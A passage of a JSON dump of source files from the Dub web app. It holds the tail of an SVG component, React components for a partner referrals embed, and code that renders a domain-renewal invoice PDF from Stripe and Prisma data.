70.8329 56.451C70.9849 56.5959 71.0616 56.7855 71.063 57.0199C71.0616 57.2259 71.0012 57.4077 70.8819 57.5653C70.764 57.7216 70.6 57.8437 70.3897 57.9318C70.1795 58.0199 69.938 58.0639 69.6653 58.0639C69.2647 58.0639 68.9423 57.9801 68.698 57.8125C68.4537 57.6435 68.3081 57.4084 68.2612 57.1072L69.0133 57.0348C69.0474 57.1825 69.1199 57.294 69.2306 57.3693C69.3414 57.4446 69.4856 57.4822 69.6632 57.4822C69.8464 57.4822 69.9934 57.4446 70.1042 57.3693C70.2164 57.294 70.2725 57.201 70.2725 57.0902C70.2725 56.9964 70.2363 56.919 70.1639 56.858C70.0929 56.7969 69.9821 56.75 69.8315 56.7173L69.2733 56.6001C68.9593 56.5348 68.7271 56.4247 68.5765 56.2699C68.426 56.1136 68.3514 55.9162 68.3528 55.6776C68.3514 55.4759 68.4061 55.3011 68.5169 55.1534C68.6291 55.0043 68.7846 54.8892 68.9835 54.8082C69.1838 54.7259 69.4146 54.6847 69.676 54.6847C70.0595 54.6847 70.3613 54.7663 70.5815 54.9297C70.8031 55.093 70.9402 55.3139 70.9927 55.5923Z\"\n        fill=\"#171717\"\n      />\n      <g clipPath=\"url(#clip0_4494_38789)\">\n        <path\n          d=\"M50.54 68.1431L50.54 66.2383\"\n          stroke=\"#A3A3A3\"\n          strokeWidth=\"0.952381\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M52.6035 66.2383L52.6035 64.3335\"\n          stroke=\"#A3A3A3\"\n          strokeWidth=\"0.952381\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M52.6035 70.0479L52.6035 68.1431\"\n          stroke=\"#A3A3A3\"\n          strokeWidth=\"0.952381\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <path\n        d=\"M60.4444 70.1219C60.0482 70.1219 59.7054 70.0102 59.4158 69.7867C59.1314 69.5632 58.9104 69.2406 58.753 68.819C58.6006 68.3924 58.5244 67.887 58.5244 67.3029C58.5244 66.7187 58.6006 66.2133 58.753 65.7867C58.9104 65.36 59.1339 65.0349 59.4235 64.8114C59.713 64.5829 60.0533 64.4686 60.4444 64.4686C60.8355 64.4686 61.1758 64.5829 61.4654 64.8114C61.7549 65.0349 61.9758 65.36 62.1282 65.7867C62.2857 66.2133 62.3644 66.7187 62.3644 67.3029C62.3644 67.887 62.2857 68.3924 62.1282 68.819C61.9758 69.2406 61.7549 69.5632 61.4654 69.7867C61.1809 70.0102 60.8406 70.1219 60.4444 70.1219ZM60.4444 69.4133C60.6831 69.4133 60.8863 69.3295 61.0539 69.1619C61.2266 68.9943 61.3562 68.753 61.4425 68.4381C61.5339 68.1181 61.5796 67.7397 61.5796 67.3029C61.5796 66.866 61.5339 66.4876 61.4425 66.1676C61.3562 65.8476 61.2266 65.6038 61.0539 65.4362C60.8812 65.2635 60.6781 65.1771 60.4444 65.1771C60.2108 65.1771 60.0076 65.2635 59.8349 65.4362C59.6622 65.6038 59.5301 65.8476 59.4387 66.1676C59.3523 66.4876 59.3092 66.866 59.3092 67.3029C59.3092 67.7397 59.3523 68.1181 59.4387 68.4381C59.5301 68.753 59.6596 68.9943 59.8273 69.1619C60 69.3295 60.2057 69.4133 60.4444 69.4133ZM61.1758 65.36L61.7854 65.3981L59.713 69.2305L59.1035 69.1924L61.1758 65.36ZM64.9976 64.4686C65.6224 64.4686 66.1024 64.6794 66.4376 65.101C66.7779 65.5175 66.9481 66.1143 66.9481 66.8914C66.9481 67.5213 66.8744 68.0775 66.7271 68.56C66.5849 69.0375 66.3538 69.4184 66.0338 69.7029C65.7138 69.9822 65.2973 70.1219 64.7843 70.1219C64.3221 70.1219 63.9513 70.0076 63.6719 69.779C63.3925 69.5454 63.197 69.2254 63.0852 68.819L63.8548 68.7505C63.9208 68.9638 64.0275 69.1289 64.1748 69.2457C64.3221 69.3575 64.5252 69.4133 64.7843 69.4133C65.0687 69.4133 65.3151 69.3321 65.5233 69.1695C65.7316 69.0019 65.8916 68.753 66.0033 68.4229C66.1151 68.0927 66.176 67.6838 66.1862 67.1962L66.3386 67.2267C66.2522 67.5111 66.0744 67.7524 65.8052 67.9505C65.536 68.1435 65.2186 68.24 64.8529 68.24C64.5024 68.24 64.1925 68.1638 63.9233 68.0114C63.6541 67.854 63.4459 67.6356 63.2986 67.3562C63.1513 67.0717 63.0776 66.7492 63.0776 66.3886C63.0776 65.9924 63.1564 65.6521 63.3138 65.3676C63.4764 65.0781 63.7024 64.8571 63.9919 64.7048C64.2865 64.5473 64.6217 64.4686 64.9976 64.4686ZM64.99 65.1771C64.6446 65.1771 64.3703 65.2838 64.1671 65.4971C63.964 65.7105 63.8624 66.0051 63.8624 66.381C63.8624 66.7416 63.9589 67.026 64.1519 67.2343C64.3449 67.4425 64.604 67.5467 64.929 67.5467C65.1627 67.5467 65.371 67.501 65.5538 67.4095C65.7367 67.313 65.8789 67.1784 65.9805 67.0057C66.0871 66.8279 66.1405 66.6222 66.1405 66.3886C66.1405 66.1549 66.0922 65.9467 65.9957 65.7638C65.9043 65.581 65.7697 65.4387 65.5919 65.3371C65.4192 65.2305 65.2186 65.1771 64.99 65.1771ZM69.5661 64.4686C70.1908 64.4686 70.6708 64.6794 71.0061 65.101C71.3464 65.5175 71.5165 66.1143 71.5165 66.8914C71.5165 67.5213 71.4429 68.0775 71.2956 68.56C71.1534 69.0375 70.9223 69.4184 70.6023 69.7029C70.2823 69.9822 69.8658 70.1219 69.3527 70.1219C68.8905 70.1219 68.5197 70.0076 68.2404 69.779C67.961 69.5454 67.7654 69.2254 67.6537 68.819L68.4232 68.7505C68.4892 68.9638 68.5959 69.1289 68.7432 69.2457C68.8905 69.3575 69.0937 69.4133 69.3527 69.4133C69.6372 69.4133 69.8835 69.3321 70.0918 69.1695C70.3 69.0019 70.46 68.753 70.5718 68.4229C70.6835 68.0927 70.7445 67.6838 70.7546 67.1962L70.907 67.2267C70.8207 67.5111 70.6429 67.7524 70.3737 67.9505C70.1045 68.1435 69.787 68.24 69.4213 68.24C69.0708 68.24 68.761 68.1638 68.4918 68.0114C68.2226 67.854 68.0143 67.6356 67.867 67.3562C67.7197 67.0717 67.6461 66.7492 67.6461 66.3886C67.6461 65.9924 67.7248 65.6521 67.8823 65.3676C68.0448 65.0781 68.2708 64.8571 68.5604 64.7048C68.855 64.5473 69.1902 64.4686 69.5661 64.4686ZM69.5585 65.1771C69.2131 65.1771 68.9388 65.2838 68.7356 65.4971C68.5324 65.7105 68.4308 66.0051 68.4308 66.381C68.4308 66.7416 68.5273 67.026 68.7204 67.2343C68.9134 67.4425 69.1724 67.5467 69.4975 67.5467C69.7312 67.5467 69.9394 67.501 70.1223 67.4095C70.3051 67.313 70.4473 67.1784 70.5489 67.0057C70.6556 66.8279 70.7089 66.6222 70.7089 66.3886C70.7089 66.1549 70.6607 65.9467 70.5642 65.7638C70.4727 65.581 70.3381 65.4387 70.1604 65.3371C69.9877 65.2305 69.787 65.1771 69.5585 65.1771ZM74.1345 64.4686C74.7593 64.4686 75.2393 64.6794 75.5745 65.101C75.9148 65.5175 76.085 66.1143 76.085 66.8914C76.085 67.5213 76.0113 68.0775 75.864 68.56C75.7218 69.0375 75.4907 69.4184 75.1707 69.7029C74.8507 69.9822 74.4342 70.1219 73.9212 70.1219C73.459 70.1219 73.0882 70.0076 72.8088 69.779C72.5294 69.5454 72.3339 69.2254 72.2221 68.819L72.9917 68.7505C73.0577 68.9638 73.1644 69.1289 73.3117 69.2457C73.459 69.3575 73.6621 69.4133 73.9212 69.4133C74.2056 69.4133 74.452 69.3321 74.6602 69.1695C74.8685 69.0019 75.0285 68.753 75.1402 68.4229C75.252 68.0927 75.3129 67.6838 75.3231 67.1962L75.4755 67.2267C75.3891 67.5111 75.2113 67.7524 74.9421 67.9505C74.6729 68.1435 74.3555 68.24 73.9898 68.24C73.6393 68.24 73.3294 68.1638 73.0602 68.0114C72.791 67.854 72.5828 67.6356 72.4355 67.3562C72.2882 67.0717 72.2145 66.7492 72.2145 66.3886C72.2145 65.9924 72.2933 65.6521 72.4507 65.3676C72.6133 65.0781 72.8393 64.8571 73.1288 64.7048C73.4234 64.5473 73.7587 64.4686 74.1345 64.4686ZM74.1269 65.1771C73.7815 65.1771 73.5072 65.2838 73.304 65.4971C73.1009 65.7105 72.9993 66.0051 72.9993 66.381C72.9993 66.7416 73.0958 67.026 73.2888 67.2343C73.4818 67.4425 73.7409 67.5467 74.066 67.5467C74.2996 67.5467 74.5079 67.501 74.6907 67.4095C74.8736 67.313 75.0158 67.1784 75.1174 67.0057C75.224 66.8279 75.2774 66.6222 75.2774 66.3886C75.2774 66.1549 75.2291 65.9467 75.1326 65.7638C75.0412 65.581 74.9066 65.4387 74.7288 65.3371C74.5561 65.2305 74.3555 65.1771 74.1269 65.1771ZM78.703 64.4686C79.3277 64.4686 79.8077 64.6794 80.143 65.101C80.4833 65.5175 80.6535 66.1143 80.6535 66.8914C80.6535 67.5213 80.5798 68.0775 80.4325 68.56C80.2903 69.0375 80.0592 69.4184 79.7392 69.7029C79.4192 69.9822 79.0027 70.1219 78.4896 70.1219C78.0274 70.1219 77.6566 70.0076 77.3773 69.779C77.0979 69.5454 76.9023 69.2254 76.7906 68.819L77.5601 68.7505C77.6262 68.9638 77.7328 69.1289 77.8801 69.2457C78.0274 69.3575 78.2306 69.4133 78.4896 69.4133C78.7741 69.4133 79.0204 69.3321 79.2287 69.1695C79.4369 69.0019 79.5969 68.753 79.7087 68.4229C79.8204 68.0927 79.8814 67.6838 79.8915 67.1962L80.0439 67.2267C79.9576 67.5111 79.7798 67.7524 79.5106 67.9505C79.2414 68.1435 78.9239 68.24 78.5582 68.24C78.2077 68.24 77.8979 68.1638 77.6287 68.0114C77.3595 67.854 77.1512 67.6356 77.0039 67.3562C76.8566 67.0717 76.783 66.7492 76.783 66.3886C76.783 65.9924 76.8617 65.6521 77.0192 65.3676C77.1817 65.0781 77.4077 64.8571 77.6973 64.7048C77.9919 64.5473 78.3271 64.4686 78.703 64.4686ZM78.6954 65.1771C78.35 65.1771 78.0757 65.2838 77.8725 65.4971C77.6693 65.7105 77.5677 66.0051 77.5677 66.381C77.5677 66.7416 77.6642 67.026 77.8573 67.2343C78.0503 67.4425 78.3093 67.5467 78.6344 67.5467C78.8681 67.5467 79.0763 67.501 79.2592 67.4095C79.442 67.313 79.5842 67.1784 79.6858 67.0057C79.7925 66.8279 79.8458 66.6222 79.8458 66.3886C79.8458 66.1549 79.7976 65.9467 79.7011 65.7638C79.6096 65.581 79.475 65.4387 79.2973 65.3371C79.1246 65.2305 78.9239 65.1771 78.6954 65.1771ZM82.1133 67.4476H84.46V68.1105H82.1133V67.4476ZM87.6875 66.099H86.278V65.4667H86.9865C87.1846 65.4667 87.3446 65.4387 87.4665 65.3829C87.5885 65.3219 87.6773 65.2279 87.7332 65.101C87.7891 64.974 87.817 64.8038 87.817 64.5905H88.4342V70H87.6875V66.099ZM85.9961 69.299H89.7142V70H85.9961V69.299ZM92.256 66.099H90.8464V65.4667H91.555C91.7531 65.4667 91.9131 65.4387 92.035 65.3829C92.1569 65.3219 92.2458 65.2279 92.3017 65.101C92.3575 64.974 92.3855 64.8038 92.3855 64.5905H93.0026V70H92.256V66.099ZM90.5645 69.299H94.2826V70H90.5645V69.299ZM96.992 70.1219C96.5958 70.1219 96.253 70.0102 95.9635 69.7867C95.679 69.5632 95.4581 69.2406 95.3006 68.819C95.1482 68.3924 95.072 67.887 95.072 67.3029C95.072 66.7187 95.1482 66.2133 95.3006 65.7867C95.4581 65.36 95.6815 65.0349 95.9711 64.8114C96.2606 64.5829 96.6009 64.4686 96.992 64.4686C97.3831 64.4686 97.7235 64.5829 98.013 64.8114C98.3025 65.0349 98.5235 65.36 98.6758 65.7867C98.8333 66.2133 98.912 66.7187 98.912 67.3029C98.912 67.887 98.8333 68.3924 98.6758 68.819C98.5235 69.2406 98.3025 69.5632 98.013 69.7867C97.7285 70.0102 97.3882 70.1219 96.992 70.1219ZM96.992 69.4133C97.2308 69.4133 97.4339 69.3295 97.6015 69.1619C97.7742 68.9943 97.9038 68.753 97.9901 68.4381C98.0815 68.1181 98.1273 67.7397 98.1273 67.3029C98.1273 66.866 98.0815 66.4876 97.9901 66.1676C97.9038 65.8476 97.7742 65.6038 97.6015 65.4362C97.4289 65.2635 97.2257 65.1771 96.992 65.1771C96.7584 65.1771 96.5552 65.2635 96.3825 65.4362C96.2098 65.6038 96.0777 65.8476 95.9863 66.1676C95.9 66.4876 95.8568 66.866 95.8568 67.3029C95.8568 67.7397 95.9 68.1181 95.9863 68.4381C96.0777 68.753 96.2073 68.9943 96.3749 69.1619C96.5476 69.3295 96.7533 69.4133 96.992 69.4133ZM97.7235 65.36L98.333 65.3981L96.2606 69.2305L95.6511 69.1924L97.7235 65.36Z\"\n        fill=\"#737373\"\n      />\n      <rect\n        x=\"86.5\"\n        y=\"92.5\"\n        width=\"21\"\n        height=\"21\"\n        rx=\"5.5\"\n        fill={BG_DEFAULT}\n        stroke={BORDER_SUBTLE}\n      />\n      <path\n        d=\"M96.9999 103.222C97.859 103.222 98.5554 102.526 98.5554 101.667C98.5554 100.808 97.859 100.111 96.9999 100.111C96.1408 100.111 95.4443 100.808 95.4443 101.667C95.4443 102.526 96.1408 103.222 96.9999 103.222Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M100.333 96.5557H93.6664C92.6846 96.5557 91.8887 97.3516 91.8887 98.3334V107.667C91.8887 108.649 92.6846 109.445 93.6664 109.445H100.333C101.315 109.445 102.111 108.649 102.111 107.667V98.3334C102.111 97.3516 101.315 96.5557 100.333 96.5557Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M95.2222 105.889H98.7777\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path d=\"M97 86L97 92\" stroke={BORDER_SUBTLE} />\n      <defs>\n        <pattern\n          id=\"pattern0_4494_38789\"\n          patternContentUnits=\"objectBoundingBox\"\n          width=\"1\"\n          height=\"1\"\n        >\n          <use xlinkHref=\"#image0_4494_38789\" transform=\"scale(0.0025)\" />\n        </pattern>\n        <clipPath id=\"clip0_4494_38789\">\n          <rect\n            width=\"7.61905\"\n            height=\"7.61905\"\n            fill={BG_DEFAULT}\n            transform=\"translate(48 63.3809)\"\n          />\n        </clipPath>\n        <image\n          id=\"image0_4494_38789\"\n          width=\"400\"\n          height=\"400\"\n          xlinkHref={logo}\n        />\n      </defs>\n    </svg>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/resources.tsx",
    "content": "import { programResourcesSchema } from \"@/lib/zod/schemas/program-resources\";\nimport { ResourceCard } from \"@/ui/partners/resources/resource-card\";\nimport { ResourceSection } from \"@/ui/partners/resources/resource-section\";\nimport { FileContent, TAB_ITEM_ANIMATION_SETTINGS } from \"@dub/ui\";\nimport {\n  formatFileSize,\n  getApexDomain,\n  getFileExtension,\n  GOOGLE_FAVICON_URL,\n} from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport * as z from \"zod/v4\";\n\nexport function ReferralsEmbedResources({\n  resources,\n}: {\n  resources: z.infer<typeof programResourcesSchema>;\n}) {\n  return (\n    <motion.div\n      className=\"flex flex-col gap-4\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      {!!resources?.logos?.length && (\n        <ResourceSection resource=\"logo\" title=\"Brand logos\">\n          {resources?.logos?.map((logo) => (\n            <ResourceCard\n              key={logo.id}\n              resourceType=\"logo\"\n              icon={\n                <div className=\"relative size-8 overflow-hidden\">\n                  <img\n                    src={logo.url}\n                    alt=\"thumbnail\"\n                    className=\"size-full object-contain\"\n                  />\n                </div>\n              }\n              title={logo.name || \"Logo\"}\n              description={`${getFileExtension(logo.url) || \"Unknown\"}・${formatFileSize(logo.size, 0)}`}\n              downloadUrl={logo.url}\n            />\n          ))}\n        </ResourceSection>\n      )}\n\n      {!!resources?.links?.length && (\n        <ResourceSection resource=\"link\" title=\"Links\">\n          {resources?.links?.map((link) => (\n            <ResourceCard\n              key={link.id}\n              resourceType=\"link\"\n              icon={\n                <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                  <img\n                    src={`${GOOGLE_FAVICON_URL}${getApexDomain(link.url)}`}\n                    alt={link.name}\n                    className=\"size-6 rounded-full object-contain\"\n                  />\n                </div>\n              }\n              title={link.name}\n              description={link.url}\n              copyText={link.url}\n            />\n          ))}\n        </ResourceSection>\n      )}\n\n      {!!resources?.colors?.length && (\n        <ResourceSection resource=\"color\" title=\"Colors\">\n          {resources?.colors?.map((color) => (\n            <ResourceCard\n              key={color.id}\n              resourceType=\"color\"\n              icon={\n                <div\n                  className=\"size-full\"\n                  style={{ backgroundColor: color.color }}\n                />\n              }\n              title={color.name || \"Color\"}\n              description={color.color.toUpperCase()}\n              copyText={color.color.toUpperCase()}\n            />\n          ))}\n        </ResourceSection>\n      )}\n\n      {!!resources?.files?.length && (\n        <ResourceSection resource=\"file\" title=\"Additional files\">\n          {resources?.files?.map((file) => (\n            <ResourceCard\n              key={file.id}\n              resourceType=\"file\"\n              icon={\n                <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                  <FileContent className=\"size-4 text-neutral-800\" />\n                </div>\n              }\n              title={file.name || \"File\"}\n              description={`${getFileExtension(file.url) || \"Unknown\"}・${formatFileSize(file.size, 0)}`}\n              downloadUrl={file.url}\n            />\n          ))}\n        </ResourceSection>\n      )}\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/theme-options.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport type ThemeOptions = {\n  backgroundColor?: string;\n};\n\nexport function parseThemeOptions(themeOptions?: string): ThemeOptions {\n  if (!themeOptions) return {};\n\n  try {\n    const parsed = JSON.parse(themeOptions);\n    return z\n      .object({\n        backgroundColor: z.string().optional(),\n      })\n      .parse(parsed);\n  } catch (error) {\n    console.warn(\"Error parsing themeOptions\", error);\n  }\n\n  return {};\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/token.tsx",
    "content": "\"use client\";\n\nimport { fetcher } from \"@dub/utils\";\nimport { useEffect } from \"react\";\nimport useSWR from \"swr\";\nimport { useEmbedToken } from \"../../embed/use-embed-token\";\n\nexport const ReferralsReferralsEmbedToken = () => {\n  const token = useEmbedToken();\n\n  const { error } = useSWR<{ token: number }>(\n    \"/api/embed/referrals/token\",\n    (url) =>\n      fetcher(url, {\n        headers: {\n          Authorization: `Bearer ${token}`,\n        },\n      }),\n    {\n      revalidateOnFocus: true,\n      dedupingInterval: 30000,\n      keepPreviousData: true,\n    },\n  );\n\n  // Inform the parent if there's an error (Eg: token is expired)\n  useEffect(() => {\n    if (error) {\n      window.parent.postMessage(\n        {\n          originator: \"Dub\",\n          event: \"ERROR\",\n          data: error.info,\n        },\n        \"*\",\n      );\n    }\n  }, [error]);\n\n  return null;\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/types.ts",
    "content": "import { ReferralsEmbedLinkSchema } from \"@/lib/zod/schemas/referrals-embed\";\nimport * as z from \"zod/v4\";\n\nexport type ReferralsEmbedLink = z.infer<typeof ReferralsEmbedLinkSchema>;\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/utils.ts",
    "content": "import { serializeReward } from \"@/lib/api/partners/serialize-reward\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { referralsEmbedToken } from \"@/lib/embed/referrals/token-class\";\nimport { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport { PartnerGroupAdditionalLink } from \"@/lib/types\";\nimport { ReferralsEmbedLinkSchema } from \"@/lib/zod/schemas/referrals-embed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Reward } from \"@dub/prisma/client\";\nimport { notFound } from \"next/navigation\";\nimport * as z from \"zod/v4\";\n\nexport const getReferralsEmbedData = async (token: string) => {\n  const { programId, partnerId } = (await referralsEmbedToken.get(token)) ?? {};\n\n  if (!programId || !partnerId) {\n    notFound();\n  }\n\n  const programEnrollment = await getProgramEnrollmentOrThrow({\n    partnerId,\n    programId,\n    include: {\n      partner: true,\n      program: true,\n      links: true,\n      partnerGroup: true,\n      discount: true,\n      clickReward: true,\n      leadReward: true,\n      saleReward: true,\n    },\n  });\n\n  if (!programEnrollment || !programEnrollment.partnerGroup) {\n    notFound();\n  }\n\n  const commissions = await prisma.commission.groupBy({\n    by: [\"status\"],\n    _sum: {\n      earnings: true,\n    },\n    where: {\n      earnings: {\n        gt: 0,\n      },\n      programId,\n      partnerId,\n    },\n  });\n\n  const {\n    program,\n    partner,\n    links,\n    discount,\n    clickReward,\n    leadReward,\n    saleReward,\n    partnerGroup: group,\n  } = programEnrollment;\n\n  const { totalClicks, totalLeads, totalSales, totalSaleAmount } =\n    aggregatePartnerLinksStats(links);\n\n  return {\n    program,\n    partner: {\n      id: partner.id,\n      name: partner.name,\n      email: partner.email,\n    },\n    links: z.array(ReferralsEmbedLinkSchema).parse(links),\n    rewards: [clickReward, leadReward, saleReward]\n      .filter((r): r is Reward => r !== null)\n      .map((r) => serializeReward(r)),\n    discount,\n    earnings: {\n      upcoming: commissions.reduce((acc, c) => {\n        if (c.status === \"pending\" || c.status === \"processed\") {\n          return acc + (c._sum.earnings ?? 0);\n        }\n        return acc;\n      }, 0),\n      paid: commissions.find((c) => c.status === \"paid\")?._sum.earnings ?? 0,\n    },\n    stats: {\n      clicks: totalClicks,\n      leads: totalLeads,\n      sales: totalSales,\n      saleAmount: totalSaleAmount,\n    },\n    group: {\n      id: group.id,\n      logo: group.logo,\n      wordmark: group.wordmark,\n      brandColor: group.brandColor,\n      additionalLinks: group.additionalLinks as PartnerGroupAdditionalLink[],\n      maxPartnerLinks: group.maxPartnerLinks,\n      linkStructure: group.linkStructure,\n      holdingPeriodDays: group.holdingPeriodDays,\n    },\n  };\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/use-embed-token.ts",
    "content": "import { useSearchParams } from \"next/navigation\";\n\nexport const useEmbedToken = () => {\n  const searchParams = useSearchParams();\n\n  return searchParams.get(\"token\");\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/invoices/[invoiceId]/domain-renewal-invoice.tsx",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice, Project } from \"@dub/prisma/client\";\nimport { currencyFormatter, DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Document,\n  Image,\n  Link,\n  Page,\n  renderToBuffer,\n  Text,\n  View,\n} from \"@react-pdf/renderer\";\nimport { createTw } from \"react-pdf-tailwind\";\nimport Stripe from \"stripe\";\n\nconst tw = createTw({\n  theme: {\n    fontFamily: {\n      //\n    },\n  },\n});\n\nexport async function DomainRenewalInvoice({\n  invoice,\n  workspace,\n}: {\n  invoice: Invoice;\n  workspace: Pick<Project, \"id\" | \"name\" | \"stripeId\">;\n}) {\n  const domains = await prisma.registeredDomain.findMany({\n    where: {\n      slug: {\n        in: invoice.registeredDomains as string[],\n      },\n    },\n    select: {\n      slug: true,\n      renewalFee: true,\n    },\n  });\n\n  let customer: Stripe.Customer | null = null;\n\n  if (workspace.stripeId) {\n    try {\n      const response = await stripe.customers.retrieve(workspace.stripeId, {\n        expand: [\"tax_ids\"],\n      });\n\n      customer = response as Stripe.Customer;\n    } catch (error) {\n      console.error(error);\n    }\n  }\n\n  const invoiceMetadata = [\n    {\n      label: \"Invoice number\",\n      value: `#${invoice.number}`,\n    },\n    {\n      label: \"Date of issue\",\n      value: formatDate(invoice.createdAt, {\n        month: \"short\",\n        day: \"2-digit\",\n        year: \"numeric\",\n        timeZone: \"UTC\",\n      }),\n    },\n  ];\n  const invoiceSummaryDetails = [\n    {\n      label: \"Invoice amount\",\n      value: currencyFormatter(invoice.amount),\n    },\n    {\n      label: `Platform fees (${Math.round((invoice.fee / invoice.amount) * 100)}%)`,\n      value: `${currencyFormatter(invoice.fee)}`,\n    },\n    {\n      label: \"Invoice total\",\n      value: currencyFormatter(invoice.total),\n    },\n  ];\n\n  // Get the first tax ID if available\n  const primaryTaxId = customer?.tax_ids?.data?.[0];\n\n  const addresses = [\n    {\n      title: \"From\",\n      address: {\n        name: \"Dub Technologies, Inc.\",\n        line1: \"2261 Market Street STE 5906\",\n        city: \"San Francisco\",\n        state: \"CA\",\n        postalCode: \"94114\",\n      },\n    },\n    {\n      title: \"Bill to\",\n      address: {\n        companyName: workspace.name,\n        name: customer?.shipping?.name,\n        line1: customer?.shipping?.address?.line1,\n        line2: customer?.shipping?.address?.line2,\n        city: customer?.shipping?.address?.city,\n        state: customer?.shipping?.address?.state,\n        postalCode: customer?.shipping?.address?.postal_code,\n        email: customer?.email,\n        taxId: primaryTaxId ? `Tax ID: ${primaryTaxId.value}` : undefined,\n      },\n    },\n  ];\n\n  return await renderToBuffer(\n    <Document>\n      <Page size=\"A4\" style={tw(\"p-20 bg-white\")}>\n        <View style={tw(\"flex-row justify-between items-center mb-10\")}>\n          <Image src={DUB_WORDMARK} style={tw(\"w-20 h-10\")} />\n        </View>\n\n        <View style={tw(\"flex-col gap-2 text-sm font-medium mb-10\")}>\n          {invoiceMetadata.map((row) => (\n            <View style={tw(\"flex-row\")} key={row.label}>\n              <Text style={tw(\"text-neutral-500 w-1/5\")}>{row.label}</Text>\n              <Text style={tw(\"text-neutral-800 w-4/5\")}>{row.value}</Text>\n            </View>\n          ))}\n        </View>\n\n        <View style={tw(\"flex-row justify-between mb-10 \")}>\n          {addresses.map(({ title, address }, index) => {\n            const cityStatePostal = [\n              address.city,\n              address.state,\n              address.postalCode,\n            ]\n              .filter(Boolean)\n              .join(\", \");\n\n            const records = [\n              address.companyName,\n              address.name,\n              address.line1,\n              address.line2,\n              cityStatePostal,\n              address.taxId,\n              address.email,\n            ].filter((record) => record && record.length > 0);\n\n            return (\n              <View style={tw(\"w-1/2\")} key={index}>\n                <Text\n                  style={tw(\n                    \"text-sm font-medium text-neutral-800 leading-6 mb-2\",\n                  )}\n                >\n                  {title}\n                </Text>\n                {records.map((record, index) => (\n                  <Text\n                    style={tw(\"font-normal text-sm text-neutral-500 leading-6\")}\n                    key={index}\n                  >\n                    {record}\n                  </Text>\n                ))}\n              </View>\n            );\n          })}\n        </View>\n\n        <View\n          style={tw(\n            \"flex-row justify-between border border-neutral-200 rounded-xl mb-6\",\n          )}\n        >\n          <View style={tw(\"flex-col gap-2 w-1/2 p-4\")}>\n            <Text style={tw(\"text-neutral-500 font-normal text-sm\")}>\n              Domains\n            </Text>\n            <Text style={tw(\"text-neutral-800 font-medium text-[16px]\")}>\n              {domains.length}\n            </Text>\n          </View>\n\n          <View\n            style={tw(\n              \"flex-col items-start gap-2 border-l border-neutral-200 w-1/2 p-4\",\n            )}\n          >\n            <Text style={tw(\"text-neutral-500 font-normal text-sm\")}>\n              Total\n            </Text>\n            <Text style={tw(\"text-neutral-800 font-medium text-[16px]\")}>\n              {currencyFormatter(invoice.total)}\n            </Text>\n          </View>\n        </View>\n\n        {domains.length > 0 && (\n          <View style={tw(\"mb-6 border border-neutral-200 rounded-xl\")}>\n            <View style={tw(\"flex-row border-neutral-200 border-b\")}>\n              <Text\n                style={tw(\"w-[70%] p-2.5 text-sm font-medium text-neutral-700\")}\n              >\n                Domain\n              </Text>\n              <Text\n                style={tw(\"w-[30%] p-2.5 text-sm font-medium text-neutral-700\")}\n              >\n                Renewal Fee\n              </Text>\n            </View>\n\n            {domains.map((domain, index) => (\n              <View\n                key={index}\n                style={tw(\n                  `flex-row text-sm font-medium text-neutral-700 border-neutral-200 items-center ${index + 1 === domains.length ? \"\" : \"border-b\"}`,\n                )}\n              >\n                <Text style={tw(\"w-[70%] p-2.5\")}>{domain.slug}</Text>\n                <Text style={tw(\"w-[30%] p-2.5\")}>\n                  {currencyFormatter(domain.renewalFee)}\n                </Text>\n              </View>\n            ))}\n          </View>\n        )}\n\n        <View\n          style={tw(\n            \"flex-col gap-2 mb-10 p-4 border border-neutral-100 rounded-xl bg-neutral-50\",\n          )}\n        >\n          {invoiceSummaryDetails.map((row) => (\n            <View style={tw(\"flex-row\")} key={row.label}>\n              <Text style={tw(\"text-neutral-500 text-sm font-medium w-2/5\")}>\n                {row.label}\n              </Text>\n              <Text style={tw(\"text-neutral-800 text-sm font-medium w-3/5\")}>\n                {row.value}\n              </Text>\n            </View>\n          ))}\n        </View>\n\n        <Text style={tw(\"text-sm text-neutral-600 mt-6\")}>\n          If you have any questions,{\" \"}\n          <Link href=\"https://dub.co/help\" style={tw(\"text-neutral-900\")}>\n            visit our help center\n          </Link>{\" \"}\n          or{\" \"}\n          <Link href=\"https://dub.co/support\" style={tw(\"text-neutral-900\")}>\n            reach out to our support team\n          </Link>\n          .\n        </Text>\n      </Page>\n    </Document>,\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/invoices/[invoiceId]/partner-payout-invoice.tsx",
